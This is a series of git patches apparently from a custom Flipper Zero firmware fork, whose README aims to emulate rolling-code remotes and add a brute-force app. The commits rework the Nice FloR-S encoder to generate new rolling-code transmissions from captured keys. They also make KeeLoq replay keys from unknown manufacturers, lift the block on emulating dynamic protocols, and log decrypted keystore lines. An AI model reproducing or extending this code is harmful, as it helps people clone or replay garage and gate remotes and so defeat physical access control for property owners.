Zero](https://flipperzero.one/)'s Custom Firmware repo! -Our goal is to make any features possible in this device without any stupid limitaions! Please help us realize emulation for all dynamic (rolling codes) protocols and brute-force app! +Our goal is to make any features possible in this device without any stupid limitations! Please help us realize emulation for all dynamic (rolling codes) protocols and brute-force app! # Update firmware From 3cc5c285b73d5283081768afe57964a82ef1527a Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Wed, 23 Mar 2022 23:33:58 +0300 Subject: [PATCH 019/461] Update cli_commands.c cli log enable --- applications/cli/cli_commands.c | 2 ++ 1 file changed, 2 insertions(+) diff --git a/applications/cli/cli_commands.c b/applications/cli/cli_commands.c index 53595a081..c4b0df99d 100644 --- a/applications/cli/cli_commands.c +++ b/applications/cli/cli_commands.c @@ -128,9 +128,11 @@ void cli_command_date(Cli* cli, string_t args, void* context) { void cli_command_log(Cli* cli, string_t args, void* context) { furi_stdglue_set_global_stdout_callback(cli_stdout_callback); + furi_log_set_puts((FuriLogPuts)printf); printf("Press any key to stop...\r\n"); cli_getc(cli); furi_stdglue_set_global_stdout_callback(NULL); + furi_log_set_puts(furi_hal_console_puts); } void cli_command_vibro(Cli* cli, string_t args, void* context) { From 8df7a3ae4ea49c843a3b68e2538aab2274858328 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Thu, 24 Mar 2022 21:45:07 +0300 Subject: [PATCH 020/461] Update libusb_stm32 --- lib/libusb_stm32 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/libusb_stm32 b/lib/libusb_stm32 index fd58c2b04..8a7846d02 160000 --- a/lib/libusb_stm32 +++ b/lib/libusb_stm32 @@ -1 +1 @@ -Subproject commit fd58c2b04710554626ac69d9fb5fa1211d1bcaf0 +Subproject commit 8a7846d0213c51aa4167e7fbe3118e33848e79b7 From f8cc9e56d8d01c884266d48b4dba4173c7fe9f99 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 25 Mar 2022 15:02:45 +0300 Subject: [PATCH 021/461] Nice FloR-S new protocol --- lib/subghz/protocols/nice_flor_s.c | 74 ++++++++++++++---------------- lib/subghz/protocols/nice_flor_s.h | 21 --------- 2 files changed, 35 insertions(+), 60 deletions(-) diff --git a/lib/subghz/protocols/nice_flor_s.c b/lib/subghz/protocols/nice_flor_s.c index c7a5a2cf5..126978009 100644 --- a/lib/subghz/protocols/nice_flor_s.c +++ b/lib/subghz/protocols/nice_flor_s.c @@ -95,7 +95,7 @@ void* subghz_protocol_encoder_nice_flor_s_alloc(SubGhzEnvironment* environment) TAG, "Loading rainbow table from %s", instance->nice_flor_s_rainbow_table_file_name); } instance->encoder.repeat = 10; - instance->encoder.size_upload = 256; + instance->encoder.size_upload = 2912; //max upload 182*16 = 2912 instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration)); instance->encoder.is_runing = false; return instance; @@ -108,35 +108,6 @@ void subghz_protocol_encoder_nice_flor_s_free(void* context) { free(instance); } -static bool subghz_protocol_nice_flor_s_gen_data(SubGhzProtocolEncoderNiceFlorS* instance, uint8_t btn, const char* file_name) { - instance->generic.cnt++; - uint64_t data_to_encrypt = btn << 4 | 0x0 << 28 | instance->generic.serial << 16 | instance->generic.cnt; - instance->generic.data = subghz_protocol_nice_flor_s_encrypt(data_to_encrypt, file_name); - return true; -} - -bool subghz_protocol_nice_flor_s_create_data( - void* context, - FlipperFormat* flipper_format, - uint32_t serial, - uint8_t btn, - uint16_t cnt, - uint32_t frequency, - FuriHalSubGhzPreset preset, - const char* file_name) { - furi_assert(context); - SubGhzProtocolEncoderNiceFlorS* instance = context; - instance->generic.serial = serial; - instance->generic.cnt = cnt; - instance->generic.data_count_bit = 52; - bool res = subghz_protocol_nice_flor_s_gen_data(instance, btn, file_name); - if (res) { - res = - subghz_block_generic_serialize(&instance->generic, flipper_format, frequency, preset); - } - return res; -} - /** * Generating an upload from data. * @param instance Pointer to a SubGhzProtocolEncoderNiceFlorS instance @@ -145,15 +116,8 @@ bool subghz_protocol_nice_flor_s_create_data( static bool subghz_protocol_encoder_nice_flor_s_get_upload(SubGhzProtocolEncoderNiceFlorS* instance, uint8_t btn, const char* file_name) { furi_assert(instance); - - //gen new key - if(subghz_protocol_nice_flor_s_gen_data(instance, btn, file_name)) { - //ToDo if you need to add a callback to automatically update the data on the display - } else { - return false; - } - size_t index = 0; + size_t size_upload = (instance->generic.data_count_bit * 2) + ((35 + 2 + 2) * 2); if(size_upload > instance->encoder.size_upload) { FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer."); @@ -162,6 +126,37 @@ static bool instance->encoder.size_upload = size_upload; } + uint64_t decrypt = btn << 4 | 0x0 << 28 | instance->generic.serial << 16 | instance->generic.cnt; + instance->generic.data = subghz_protocol_nice_flor_s_encrypt(decrypt, file_name); + + uint64_t temp_parcel = instance->generic.data; + + for (int i = 0; i < 16; i++) { + + static const uint64_t loops[4][32] = { + + {0x1,0x2,0x3,0x4,0x5,0x6,0x7,0x8,0x9,0xA,0xB,0xC,0xD,0xE,0xF,0x0, + 0xE,0xF,0xC,0xD,0xA,0xB,0x8,0x9,0x6,0x7,0x4,0x5,0x2,0x3,0x0,0x1}, + + {0x1,0x2,0x3,0x4,0x5,0x6,0x7,0x8,0x9,0xA,0xB,0xC,0xD,0xE,0xF,0x0, + 0xD,0xC,0xF,0xE,0x9,0x8,0xB,0xA,0x5,0x4,0x7,0x6,0x1,0x0,0x3,0x2}, + + {0x1,0x2,0x3,0x4,0x5,0x6,0x7,0x8,0x9,0xA,0xB,0xC,0xD,0xE,0xF,0x0, + 0xB,0xA,0x9,0x8,0xF,0xE,0xD,0xC,0x3,0x2,0x1,0x0,0x7,0x6,0x5,0x4}, + + {0x1,0x2,0x3,0x4,0x5,0x6,0x7,0x8,0x9,0xA,0xB,0xC,0xD,0xE,0xF,0x0, + 0x7,0x6,0x5,0x4,0x3,0x2,0x1,0x0,0xF,0xE,0xD,0xC,0xB,0xA,0x9,0x8} + }; + + if (btn == 0x1) { + instance->generic.data = btn << 4 | (0xF ^ btn ^ loops[0][i]) << 4 | (temp_parcel & 0x00FFFFFFFFFFF); + } else if (btn == 0x2) { + instance->generic.data = btn << 4 | (0xF ^ btn ^ loops[1][i]) << 4 | (temp_parcel & 0x00FFFFFFFFFFF); + } else if (btn == 0x4) { + instance->generic.data = btn << 4 | (0xF ^ btn ^ loops[2][i]) << 4 | (temp_parcel & 0x00FFFFFFFFFFF); + } else if (btn == 0x8) { + instance->generic.data = btn << 4 | (0xF ^ btn ^ loops[3][i]) << 4 | (temp_parcel & 0x00FFFFFFFFFFF); + } //Send header for(uint8_t i = 35; i > 0; i--) { instance->encoder.upload[index++] = @@ -194,7 +189,7 @@ static bool level_duration_make(true, (uint32_t)subghz_protocol_nice_flor_s_const.te_short * 3); instance->encoder.upload[index++] = level_duration_make(false, (uint32_t)subghz_protocol_nice_flor_s_const.te_short * 3); - + } return true; } @@ -212,6 +207,7 @@ bool subghz_protocol_encoder_nice_flor_s_deserialize(void* context, FlipperForma flipper_format_read_uint32( flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1); + subghz_protocol_nice_flor_s_remote_controller(&instance->generic, instance->nice_flor_s_rainbow_table_file_name); subghz_protocol_encoder_nice_flor_s_get_upload(instance, instance->generic.btn, instance->nice_flor_s_rainbow_table_file_name); if(!flipper_format_rewind(flipper_format)) { diff --git a/lib/subghz/protocols/nice_flor_s.h b/lib/subghz/protocols/nice_flor_s.h index f6fd34a33..7daf87c60 100644 --- a/lib/subghz/protocols/nice_flor_s.h +++ b/lib/subghz/protocols/nice_flor_s.h @@ -24,27 +24,6 @@ void* subghz_protocol_encoder_nice_flor_s_alloc(SubGhzEnvironment* environment); */ void subghz_protocol_encoder_nice_flor_s_free(void* context); -/** - * Key generation from simple data. - * @param context Pointer to a SubGhzProtocolEncoderNiceFlorS instance - * @param flipper_format Pointer to a FlipperFormat instance - * @param serial Serial number, 28 bit - * @param btn Button number, 4 bit - * @param cnt Counter value, 16 bit - * @param frequency Transmission frequency, Hz - * @param preset Modulation, FuriHalSubGhzPreset - * @return true On success - */ -bool subghz_protocol_nice_flor_s_create_data( - void* context, - FlipperFormat* flipper_format, - uint32_t serial, - uint8_t btn, - uint16_t cnt, - uint32_t frequency, - FuriHalSubGhzPreset preset, - const char* file_name); - /** * Deserialize and generating an upload to send. * @param context Pointer to a SubGhzProtocolEncoderNiceFlorS instance From 0c8f589cf7f62b2cea8f79c9148c54901471b9e4 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 25 Mar 2022 15:06:04 +0300 Subject: [PATCH 022/461] Update nice_flor_s.c --- lib/subghz/protocols/nice_flor_s.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/subghz/protocols/nice_flor_s.c b/lib/subghz/protocols/nice_flor_s.c index 126978009..7f113305a 100644 --- a/lib/subghz/protocols/nice_flor_s.c +++ b/lib/subghz/protocols/nice_flor_s.c @@ -95,7 +95,7 @@ void* subghz_protocol_encoder_nice_flor_s_alloc(SubGhzEnvironment* environment) TAG, "Loading rainbow table from %s", instance->nice_flor_s_rainbow_table_file_name); } instance->encoder.repeat = 10; - instance->encoder.size_upload = 2912; //max upload 182*16 = 2912 + instance->encoder.size_upload = 5824; //max upload 182*32 = 5824 instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration)); instance->encoder.is_runing = false; return instance; From 225e5f04ee5489db907de3e307d2b8750cf835f1 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 25 Mar 2022 15:51:32 +0300 Subject: [PATCH 023/461] Update nice_flor_s.c --- lib/subghz/protocols/nice_flor_s.c | 14 ++++++-------- 1 file changed, 6 insertions(+), 8 deletions(-) diff --git a/lib/subghz/protocols/nice_flor_s.c b/lib/subghz/protocols/nice_flor_s.c index 7f113305a..367afcc92 100644 --- a/lib/subghz/protocols/nice_flor_s.c +++ b/lib/subghz/protocols/nice_flor_s.c @@ -126,10 +126,8 @@ static bool instance->encoder.size_upload = size_upload; } - uint64_t decrypt = btn << 4 | 0x0 << 28 | instance->generic.serial << 16 | instance->generic.cnt; - instance->generic.data = subghz_protocol_nice_flor_s_encrypt(decrypt, file_name); - - uint64_t temp_parcel = instance->generic.data; + uint64_t decrypt = instance->generic.serial << 16 | instance->generic.cnt; + uint64_t temp_parcel = subghz_protocol_nice_flor_s_encrypt(decrypt, file_name); for (int i = 0; i < 16; i++) { @@ -149,13 +147,13 @@ static bool }; if (btn == 0x1) { - instance->generic.data = btn << 4 | (0xF ^ btn ^ loops[0][i]) << 4 | (temp_parcel & 0x00FFFFFFFFFFF); + instance->generic.data = btn << 4 | (0xF ^ btn ^ loops[0][i]) << 4 | temp_parcel; } else if (btn == 0x2) { - instance->generic.data = btn << 4 | (0xF ^ btn ^ loops[1][i]) << 4 | (temp_parcel & 0x00FFFFFFFFFFF); + instance->generic.data = btn << 4 | (0xF ^ btn ^ loops[1][i]) << 4 | temp_parcel; } else if (btn == 0x4) { - instance->generic.data = btn << 4 | (0xF ^ btn ^ loops[2][i]) << 4 | (temp_parcel & 0x00FFFFFFFFFFF); + instance->generic.data = btn << 4 | (0xF ^ btn ^ loops[2][i]) << 4 | temp_parcel; } else if (btn == 0x8) { - instance->generic.data = btn << 4 | (0xF ^ btn ^ loops[3][i]) << 4 | (temp_parcel & 0x00FFFFFFFFFFF); + instance->generic.data = btn << 4 | (0xF ^ btn ^ loops[3][i]) << 4 | temp_parcel; } //Send header for(uint8_t i = 35; i > 0; i--) { From 430fac254ac14f37d030ba4c8929a5d88a3f7f85 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 25 Mar 2022 16:07:27 +0300 Subject: [PATCH 024/461] Update nice_flor_s.c --- lib/subghz/protocols/nice_flor_s.c | 25 +++++++++++++------------ 1 file changed, 13 insertions(+), 12 deletions(-) diff --git a/lib/subghz/protocols/nice_flor_s.c b/lib/subghz/protocols/nice_flor_s.c index 367afcc92..f259056ea 100644 --- a/lib/subghz/protocols/nice_flor_s.c +++ b/lib/subghz/protocols/nice_flor_s.c @@ -126,6 +126,7 @@ static bool instance->encoder.size_upload = size_upload; } + instance->generic.cnt++; uint64_t decrypt = instance->generic.serial << 16 | instance->generic.cnt; uint64_t temp_parcel = subghz_protocol_nice_flor_s_encrypt(decrypt, file_name); @@ -133,27 +134,27 @@ static bool static const uint64_t loops[4][32] = { - {0x1,0x2,0x3,0x4,0x5,0x6,0x7,0x8,0x9,0xA,0xB,0xC,0xD,0xE,0xF,0x0, - 0xE,0xF,0xC,0xD,0xA,0xB,0x8,0x9,0x6,0x7,0x4,0x5,0x2,0x3,0x0,0x1}, + { 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xA, 0xB, 0xC, 0xD, 0xE, 0xF, 0x0, + 0xE, 0xF, 0xC, 0xD, 0xA, 0xB, 0x8, 0x9, 0x6, 0x7, 0x4, 0x5, 0x2, 0x3, 0x0, 0x1 }, - {0x1,0x2,0x3,0x4,0x5,0x6,0x7,0x8,0x9,0xA,0xB,0xC,0xD,0xE,0xF,0x0, - 0xD,0xC,0xF,0xE,0x9,0x8,0xB,0xA,0x5,0x4,0x7,0x6,0x1,0x0,0x3,0x2}, + { 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xA, 0xB, 0xC, 0xD, 0xE, 0xF, 0x0, + 0xD, 0xC, 0xF, 0xE, 0x9, 0x8, 0xB, 0xA, 0x5, 0x4, 0x7, 0x6, 0x1, 0x0, 0x3, 0x2 }, - {0x1,0x2,0x3,0x4,0x5,0x6,0x7,0x8,0x9,0xA,0xB,0xC,0xD,0xE,0xF,0x0, - 0xB,0xA,0x9,0x8,0xF,0xE,0xD,0xC,0x3,0x2,0x1,0x0,0x7,0x6,0x5,0x4}, + { 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xA, 0xB, 0xC, 0xD, 0xE, 0xF, 0x0, + 0xB, 0xA, 0x9, 0x8, 0xF, 0xE, 0xD, 0xC, 0x3, 0x2, 0x1, 0x0, 0x7, 0x6, 0x5, 0x4 }, - {0x1,0x2,0x3,0x4,0x5,0x6,0x7,0x8,0x9,0xA,0xB,0xC,0xD,0xE,0xF,0x0, - 0x7,0x6,0x5,0x4,0x3,0x2,0x1,0x0,0xF,0xE,0xD,0xC,0xB,0xA,0x9,0x8} + { 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xA, 0xB, 0xC, 0xD, 0xE, 0xF, 0x0, + 0x7, 0x6, 0x5, 0x4, 0x3, 0x2, 0x1, 0x0, 0xF, 0xE, 0xD, 0xC, 0xB, 0xA, 0x9, 0x8 } }; if (btn == 0x1) { - instance->generic.data = btn << 4 | (0xF ^ btn ^ loops[0][i]) << 4 | temp_parcel; + instance->generic.data = ((btn << 4) | ((0xF ^ btn ^ loops[0][i]) << 4) | temp_parcel); } else if (btn == 0x2) { - instance->generic.data = btn << 4 | (0xF ^ btn ^ loops[1][i]) << 4 | temp_parcel; + instance->generic.data = ((btn << 4) | ((0xF ^ btn ^ loops[1][i]) << 4) | temp_parcel); } else if (btn == 0x4) { - instance->generic.data = btn << 4 | (0xF ^ btn ^ loops[2][i]) << 4 | temp_parcel; + instance->generic.data = ((btn << 4) | ((0xF ^ btn ^ loops[2][i]) << 4) | temp_parcel); } else if (btn == 0x8) { - instance->generic.data = btn << 4 | (0xF ^ btn ^ loops[3][i]) << 4 | temp_parcel; + instance->generic.data = ((btn << 4) | ((0xF ^ btn ^ loops[3][i]) << 4) | temp_parcel); } //Send header for(uint8_t i = 35; i > 0; i--) { From 4d00facdd802ea15624860acb504d60c7c5ca11f Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 25 Mar 2022 16:27:03 +0300 Subject: [PATCH 025/461] Update nice_flor_s.c fix bit offset --- lib/subghz/protocols/nice_flor_s.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/subghz/protocols/nice_flor_s.c b/lib/subghz/protocols/nice_flor_s.c index f259056ea..4424fc6c5 100644 --- a/lib/subghz/protocols/nice_flor_s.c +++ b/lib/subghz/protocols/nice_flor_s.c @@ -148,13 +148,13 @@ static bool }; if (btn == 0x1) { - instance->generic.data = ((btn << 4) | ((0xF ^ btn ^ loops[0][i]) << 4) | temp_parcel); + instance->generic.data = ((btn << 4) | ((0xF ^ btn ^ loops[0][i]) << 44) | temp_parcel); } else if (btn == 0x2) { - instance->generic.data = ((btn << 4) | ((0xF ^ btn ^ loops[1][i]) << 4) | temp_parcel); + instance->generic.data = ((btn << 4) | ((0xF ^ btn ^ loops[1][i]) << 44) | temp_parcel); } else if (btn == 0x4) { - instance->generic.data = ((btn << 4) | ((0xF ^ btn ^ loops[2][i]) << 4) | temp_parcel); + instance->generic.data = ((btn << 4) | ((0xF ^ btn ^ loops[2][i]) << 44) | temp_parcel); } else if (btn == 0x8) { - instance->generic.data = ((btn << 4) | ((0xF ^ btn ^ loops[3][i]) << 4) | temp_parcel); + instance->generic.data = ((btn << 4) | ((0xF ^ btn ^ loops[3][i]) << 44) | temp_parcel); } //Send header for(uint8_t i = 35; i > 0; i--) { From fc79f033b1e9c71c8ab9ca730916ed6eb4d8e220 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 25 Mar 2022 16:54:26 +0300 Subject: [PATCH 026/461] Update nice_flor_s.c --- lib/subghz/protocols/nice_flor_s.c | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/lib/subghz/protocols/nice_flor_s.c b/lib/subghz/protocols/nice_flor_s.c index 4424fc6c5..9daa577ca 100644 --- a/lib/subghz/protocols/nice_flor_s.c +++ b/lib/subghz/protocols/nice_flor_s.c @@ -117,6 +117,7 @@ static bool subghz_protocol_encoder_nice_flor_s_get_upload(SubGhzProtocolEncoderNiceFlorS* instance, uint8_t btn, const char* file_name) { furi_assert(instance); size_t index = 0; + btn = instance->generic.btn; size_t size_upload = (instance->generic.data_count_bit * 2) + ((35 + 2 + 2) * 2); if(size_upload > instance->encoder.size_upload) { @@ -127,7 +128,7 @@ static bool } instance->generic.cnt++; - uint64_t decrypt = instance->generic.serial << 16 | instance->generic.cnt; + uint64_t decrypt = btn << 4 | (instance->generic.data & 0x0F00000000000) << 28 | instance->generic.serial << 16 | instance->generic.cnt; uint64_t temp_parcel = subghz_protocol_nice_flor_s_encrypt(decrypt, file_name); for (int i = 0; i < 16; i++) { @@ -148,13 +149,13 @@ static bool }; if (btn == 0x1) { - instance->generic.data = ((btn << 4) | ((0xF ^ btn ^ loops[0][i]) << 44) | temp_parcel); + instance->generic.data = btn << 4 | (0xF ^ btn ^ loops[0][i]) << 44 | (temp_parcel & 0x00FFFFFFFFFFF); } else if (btn == 0x2) { - instance->generic.data = ((btn << 4) | ((0xF ^ btn ^ loops[1][i]) << 44) | temp_parcel); + instance->generic.data = btn << 4 | (0xF ^ btn ^ loops[1][i]) << 44 | (temp_parcel & 0x00FFFFFFFFFFF); } else if (btn == 0x4) { - instance->generic.data = ((btn << 4) | ((0xF ^ btn ^ loops[2][i]) << 44) | temp_parcel); + instance->generic.data = btn << 4 | (0xF ^ btn ^ loops[2][i]) << 44 | (temp_parcel & 0x00FFFFFFFFFFF); } else if (btn == 0x8) { - instance->generic.data = ((btn << 4) | ((0xF ^ btn ^ loops[3][i]) << 44) | temp_parcel); + instance->generic.data = btn << 4 | (0xF ^ btn ^ loops[3][i]) << 44 | (temp_parcel & 0x00FFFFFFFFFFF); } //Send header for(uint8_t i = 35; i > 0; i--) { From ee00e039574a1e3c30c80e44f399fa9d340a8c6c Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 25 Mar 2022 17:14:49 +0300 Subject: [PATCH 027/461] Update nice_flor_s.c --- lib/subghz/protocols/nice_flor_s.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/subghz/protocols/nice_flor_s.c b/lib/subghz/protocols/nice_flor_s.c index 9daa577ca..6ba5f2054 100644 --- a/lib/subghz/protocols/nice_flor_s.c +++ b/lib/subghz/protocols/nice_flor_s.c @@ -149,13 +149,13 @@ static bool }; if (btn == 0x1) { - instance->generic.data = btn << 4 | (0xF ^ btn ^ loops[0][i]) << 44 | (temp_parcel & 0x00FFFFFFFFFFF); + instance->generic.data = btn << 4 | (0xF ^ btn ^ loops[0][i]) << 44 | (temp_parcel & 0xFFFFFFFFFFF); } else if (btn == 0x2) { - instance->generic.data = btn << 4 | (0xF ^ btn ^ loops[1][i]) << 44 | (temp_parcel & 0x00FFFFFFFFFFF); + instance->generic.data = btn << 4 | (0xF ^ btn ^ loops[1][i]) << 44 | (temp_parcel & 0xFFFFFFFFFFF); } else if (btn == 0x4) { - instance->generic.data = btn << 4 | (0xF ^ btn ^ loops[2][i]) << 44 | (temp_parcel & 0x00FFFFFFFFFFF); + instance->generic.data = btn << 4 | (0xF ^ btn ^ loops[2][i]) << 44 | (temp_parcel & 0xFFFFFFFFFFF); } else if (btn == 0x8) { - instance->generic.data = btn << 4 | (0xF ^ btn ^ loops[3][i]) << 44 | (temp_parcel & 0x00FFFFFFFFFFF); + instance->generic.data = btn << 4 | (0xF ^ btn ^ loops[3][i]) << 44 | (temp_parcel & 0xFFFFFFFFFFF); } //Send header for(uint8_t i = 35; i > 0; i--) { From 098964f73782a793d93693a7c5c6c16fcb1ce29f Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sun, 27 Mar 2022 18:58:04 +0300 Subject: [PATCH 028/461] Debug FloR-S logging encrypt & encoder stuff --- lib/subghz/protocols/nice_flor_s.c | 3 +++ 1 file changed, 3 insertions(+) diff --git a/lib/subghz/protocols/nice_flor_s.c b/lib/subghz/protocols/nice_flor_s.c index 6ba5f2054..8ebb863cb 100644 --- a/lib/subghz/protocols/nice_flor_s.c +++ b/lib/subghz/protocols/nice_flor_s.c @@ -129,7 +129,9 @@ static bool instance->generic.cnt++; uint64_t decrypt = btn << 4 | (instance->generic.data & 0x0F00000000000) << 28 | instance->generic.serial << 16 | instance->generic.cnt; + FURI_LOG_I(TAG, "decrypt = %X", decrypt); uint64_t temp_parcel = subghz_protocol_nice_flor_s_encrypt(decrypt, file_name); + FURI_LOG_I(TAG, "temp_parcel = %X", temp_parcel); for (int i = 0; i < 16; i++) { @@ -157,6 +159,7 @@ static bool } else if (btn == 0x8) { instance->generic.data = btn << 4 | (0xF ^ btn ^ loops[3][i]) << 44 | (temp_parcel & 0xFFFFFFFFFFF); } + FURI_LOG_I(TAG, "key = %X", instance->generic.data); //Send header for(uint8_t i = 35; i > 0; i--) { instance->encoder.upload[index++] = From d0c14da00c35295351cfa63aecfe6818d15e249f Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sun, 27 Mar 2022 20:30:32 +0300 Subject: [PATCH 029/461] Update nice_flor_s.c --- lib/subghz/protocols/nice_flor_s.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/subghz/protocols/nice_flor_s.c b/lib/subghz/protocols/nice_flor_s.c index 8ebb863cb..9d880f852 100644 --- a/lib/subghz/protocols/nice_flor_s.c +++ b/lib/subghz/protocols/nice_flor_s.c @@ -128,7 +128,7 @@ static bool } instance->generic.cnt++; - uint64_t decrypt = btn << 4 | (instance->generic.data & 0x0F00000000000) << 28 | instance->generic.serial << 16 | instance->generic.cnt; + uint64_t decrypt = btn << 4 | 0x0 << 28 | instance->generic.serial << 16 | instance->generic.cnt; FURI_LOG_I(TAG, "decrypt = %X", decrypt); uint64_t temp_parcel = subghz_protocol_nice_flor_s_encrypt(decrypt, file_name); FURI_LOG_I(TAG, "temp_parcel = %X", temp_parcel); From f12faff8b0ad25b71185b8c993f1056bf02d6755 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Mon, 28 Mar 2022 19:42:00 +0300 Subject: [PATCH 030/461] Fix FloR-S and add test Keeloq uknown replay --- lib/subghz/protocols/keeloq.c | 6 ++---- lib/subghz/protocols/nice_flor_s.c | 31 +++++++++++++++++++----------- 2 files changed, 22 insertions(+), 15 deletions(-) diff --git a/lib/subghz/protocols/keeloq.c b/lib/subghz/protocols/keeloq.c index 10cd5fecc..9d97107d2 100644 --- a/lib/subghz/protocols/keeloq.c +++ b/lib/subghz/protocols/keeloq.c @@ -154,6 +154,7 @@ static bool subghz_protocol_keeloq_gen_data(SubGhzProtocolEncoderKeeloq* instanc code_found_reverse = subghz_protocol_blocks_reverse_key( instance->generic.data, instance->generic.data_count_bit); hop = code_found_reverse & 0x00000000ffffffff; + FURI_LOG_I(TAG, "hop = %X", hop); break; } break; @@ -163,11 +164,8 @@ static bool subghz_protocol_keeloq_gen_data(SubGhzProtocolEncoderKeeloq* instanc uint64_t yek = (uint64_t)fix << 32 | hop; instance->generic.data = subghz_protocol_blocks_reverse_key(yek, instance->generic.data_count_bit); - return true; - } else { - instance->manufacture_name = "Unknown"; - return false; } + return true; } bool subghz_protocol_keeloq_create_data( diff --git a/lib/subghz/protocols/nice_flor_s.c b/lib/subghz/protocols/nice_flor_s.c index 9d880f852..c28ad3df2 100644 --- a/lib/subghz/protocols/nice_flor_s.c +++ b/lib/subghz/protocols/nice_flor_s.c @@ -128,10 +128,10 @@ static bool } instance->generic.cnt++; - uint64_t decrypt = btn << 4 | 0x0 << 28 | instance->generic.serial << 16 | instance->generic.cnt; + uint64_t decrypt = (uint64_t)instance->generic.serial << 16 | instance->generic.cnt; FURI_LOG_I(TAG, "decrypt = %X", decrypt); - uint64_t temp_parcel = subghz_protocol_nice_flor_s_encrypt(decrypt, file_name); - FURI_LOG_I(TAG, "temp_parcel = %X", temp_parcel); + uint64_t enc_part = (uint64_t)subghz_protocol_nice_flor_s_encrypt(decrypt, file_name); + FURI_LOG_I(TAG, "enc_part = %X", enc_part); for (int i = 0; i < 16; i++) { @@ -150,16 +150,25 @@ static bool 0x7, 0x6, 0x5, 0x4, 0x3, 0x2, 0x1, 0x0, 0xF, 0xE, 0xD, 0xC, 0xB, 0xA, 0x9, 0x8 } }; + if (btn == 0x1) { - instance->generic.data = btn << 4 | (0xF ^ btn ^ loops[0][i]) << 44 | (temp_parcel & 0xFFFFFFFFFFF); - } else if (btn == 0x2) { - instance->generic.data = btn << 4 | (0xF ^ btn ^ loops[1][i]) << 44 | (temp_parcel & 0xFFFFFFFFFFF); - } else if (btn == 0x4) { - instance->generic.data = btn << 4 | (0xF ^ btn ^ loops[2][i]) << 44 | (temp_parcel & 0xFFFFFFFFFFF); - } else if (btn == 0x8) { - instance->generic.data = btn << 4 | (0xF ^ btn ^ loops[3][i]) << 44 | (temp_parcel & 0xFFFFFFFFFFF); - } + //Button 1 + instance->generic.data = btn << 4 | (0xF ^ btn ^ loops[0][i]) << 44 | (enc_part); + } + if (btn == 0x2) { + //Button 2 + instance->generic.data = btn << 4 | (0xF ^ btn ^ loops[1][i]) << 44 | (enc_part); + } + if (btn == 0x4) { + //Button 3 + instance->generic.data = btn << 4 | (0xF ^ btn ^ loops[2][i]) << 44 | (enc_part); + } + if (btn == 0x8) { + //Button 4 + instance->generic.data = btn << 4 | (0xF ^ btn ^ loops[3][i]) << 44 | (enc_part); + } FURI_LOG_I(TAG, "key = %X", instance->generic.data); + //Send header for(uint8_t i = 35; i > 0; i--) { instance->encoder.upload[index++] = From 2cec90cec9fb573a2555db2b608cf46ebe1b9f1b Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Mon, 28 Mar 2022 19:59:53 +0300 Subject: [PATCH 031/461] Allow instantly emulate dynamic protocols even without saving --- applications/subghz/scenes/subghz_scene_receiver_info.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/applications/subghz/scenes/subghz_scene_receiver_info.c b/applications/subghz/scenes/subghz_scene_receiver_info.c index 3cd465583..b6ad12f42 100644 --- a/applications/subghz/scenes/subghz_scene_receiver_info.c +++ b/applications/subghz/scenes/subghz_scene_receiver_info.c @@ -86,8 +86,7 @@ void subghz_scene_receiver_info_on_enter(void* context) { } if(((subghz->txrx->decoder_result->protocol->flag & SubGhzProtocolFlag_Send) == SubGhzProtocolFlag_Send) && - subghz->txrx->decoder_result->protocol->encoder->deserialize && - subghz->txrx->decoder_result->protocol->type == SubGhzProtocolTypeStatic) { + subghz->txrx->decoder_result->protocol->encoder->deserialize) { widget_add_button_element( subghz->widget, GuiButtonTypeCenter, From 5ebea97ba2900b2670c6d07fe40b1010021bbe36 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Tue, 29 Mar 2022 15:44:02 +0300 Subject: [PATCH 032/461] Update subghz_keystore.c keystore debug --- lib/subghz/subghz_keystore.c | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/subghz/subghz_keystore.c b/lib/subghz/subghz_keystore.c index d0efc6a07..55d781a6f 100644 --- a/lib/subghz/subghz_keystore.c +++ b/lib/subghz/subghz_keystore.c @@ -333,6 +333,7 @@ bool subghz_keystore_save(SubGhzKeystore* instance, const char* file_name, uint8 SubGhzKeyArray_t* subghz_keystore_get_data(SubGhzKeystore* instance) { furi_assert(instance); return &instance->data; + FURI_LOG_I(TAG, "array: \n", &instance->data); } bool subghz_keystore_raw_encrypted_save( @@ -586,6 +587,7 @@ bool subghz_keystore_raw_get_data(const char* file_name, size_t offset, uint8_t* break; } memcpy(data, (uint8_t*)decrypted_line + (offset - (offset / 16) * 16), len); + FURI_LOG_I(TAG, "decrypted line: %X", decrypted_line); } while(0); furi_hal_crypto_store_unload_key(SUBGHZ_KEYSTORE_FILE_ENCRYPTION_KEY_SLOT); From 72dab0ca0c168e2948fc40414d895886ac098230 Mon Sep 17 